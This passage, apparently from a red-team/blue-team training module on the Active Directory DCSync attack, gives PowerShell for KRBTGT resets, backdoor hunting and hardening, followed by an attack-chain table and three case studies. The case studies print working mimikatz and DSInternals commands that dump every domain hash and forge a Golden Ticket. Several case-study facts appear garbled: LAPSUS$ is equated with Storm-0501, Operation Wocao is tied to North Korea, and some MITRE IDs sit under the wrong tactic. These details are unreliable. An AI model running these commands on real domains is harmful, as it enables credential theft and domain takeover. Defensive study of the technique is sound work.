Set-ADAccountPassword -Identity $admin -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force)
Write-Host "[+] Password reset for $($admin.Name)"
}
Manual Steps (Using ADUC):
Objective: Invalidate all Kerberos tickets (including Golden Tickets).
Command:
# First reset
$krbtgt = Get-ADUser -Identity "krbtgt"
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT reset 1/2"
# Wait 10+ hours
Start-Sleep -Seconds 36000
# Second reset
Set-ADAccountPassword -Identity $krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force)
Write-Host "[+] KRBTGT reset 2/2 - Golden Tickets invalidated"
Objective: Identify and remove forged Kerberos tickets and backdoors.
Command (Detect Golden Ticket Usage):
# Golden Tickets show Event 4769 (Kerberos Service Ticket Operation) with mismatched SIDs
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769]]" -MaxEvents 100 |
Where-Object { $_.Message -match "krbtgt" } |
Select-Object TimeCreated, Message
Command (Hunt for Backdoors - Persistent Accounts):
# Check for newly created accounts (potential backdoors)
Get-ADUser -Filter { whenCreated -gt ((Get-Date).AddDays(-1)) } |
Select-Object Name, SamAccountName, whenCreated
# Check for suspicious SPN assignments (Kerberoasting setup)
Get-ADUser -Filter { ServicePrincipalName -ne $null } |
Select-Object Name, ServicePrincipalName
Objective: Apply permanent mitigations across all systems.
Command (Deploy Mitigations via GPO):
# Apply "AD Replication Rights Hardening" GPO to all OUs
Get-GPO -Name "AD-Replication-Rights-Hardening" | New-GPLink -Target "DC=example,DC=com"
# Force immediate GPO update on all machines
(Get-ADComputer -Filter *).Name | ForEach-Object {
Invoke-Command -ComputerName $_ -ScriptBlock { gpupdate /force }
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566.002] Phishing Spearphishing Link | Attacker sends malicious link → compromise user workstation. |
| 2 | Execution | [T1204.001] User Execution - Malicious Link | User clicks link → credential harvesting / malware download. |
| 3 | Credential Access | [T1587.001] Develop Capabilities - Malware | Attacker develops credential stealer or uses publicly available tools. |
| 4 | Privilege Escalation | [T1548.002] Abuse Elevation Control - UAC Bypass | Malware escalates to admin privilege via UAC bypass or exploit. |
| 5 | Discovery | [T1087.002] Account Discovery - Domain Account | Attacker enumerates domain admin accounts and service accounts. |
| 6 | Credential Access | [CA-DUMP-002] DCSync Domain Controller Sync | Attacker compromises account with replication rights; executes DCSync to dump KRBTGT + all domain hashes. |
| 7 | Lateral Movement / Privilege Escalation | [T1550.003] Use Alternate Authentication Material - Pass the Hash | Attacker uses extracted NTLM hashes to move laterally without passwords. |
| 8 | Persistence | [T1098.003] Account Manipulation - Additional Cloud Credentials | Attacker creates backdoor accounts or modifies existing accounts for persistence. |
| 9 | Impact | [T1531] Account Access Removal | Attacker locks out legitimate admins; establishes full domain control. |
Attacker: APT29 / Cozy Bear (Russian SVR) Target: U.S. Federal Government, Fortune 500 companies Timeline: March - December 2020 Technique Status: DCSync used to escalate from SolarWinds Orion platform compromise to domain-wide access Impact: Estimated 18,000+ organizations compromised; U.S. Treasury, State Department, CISA, NSA accessed
Attack Chain:
DCSync Usage:
mimikatz # lsadump::dcsync /domain:agency.gov /all /csv
[+] Extracted 10,000+ user hashes including classified system admin accounts
Detection Evasion:
Reference: Microsoft Blog - SolarWinds Supply Chain Attack
Attacker: LAPSUS$ / Storm-0501 (Brazilian cybercriminal group) Targets: Microsoft, Okta, Twilio, Cloudflare, Samsung, Nvidia Timeline: October 2021 - March 2022 Technique Status: DCSync for privilege escalation in compromised organizations Impact: Exposure of proprietary source code, API keys, customer data
Attack Chain:
DCSync Execution:
DSInternals Get-ADReplAccount -All -Server ADC01.company.com
[+] Extracted all AD account hashes
Key Indicators That Were Missed:
Reference: CISA Alert on LAPSUS$ Activities
Attacker: Unknown APT (suspected North Korean or state-sponsored) Targets: Asian telecommunications and government entities Timeline: 2018-2020 (discovered December 2020) Technique Status: Mimikatz DCSync for domain-wide credential extraction Impact: Multi-year undetected intrusion; access to classified communications networks
Attack Chain:
Post-DCSync Golden Ticket Creation:
# After extracting KRBTGT hash:
mimikatz # kerberos::golden /user:Administrator /domain:telecom.gov /sid:S-1-5-21-... /krbtgt:a1b2c3d4...
[+] Golden Ticket created - valid for 10 years (or until KRBTGT reset)
Why Detection Failed:
Reference: Operation Wocao Report
This comprehensive module provides Red Teams with detailed DCSync execution methods, reconnaissance techniques, and post-exploitation chaining (Golden Tickets, Pass-the-Hash). Blue Teams have specific detection rules (Event 4662, KQL queries, Sysmon configs), forensic procedures, and hardening steps (ACL restriction, KRBTGT resets, tiering) to defend against this critical attack.
Key Takeaway: DCSync is a post-exploitation attack that cannot be patched because directory replication is essential Active Directory functionality. Defense requires layered approach: least-privilege access (restrict replication rights), comprehensive auditing (Event 4662 logging), real-time detection (Sentinel/Defender), and rapid incident response (KRBTGT resets, credential invalidation). A single successful DCSync dump leads to complete, indefinite domain compromise—prioritize detection and prevention.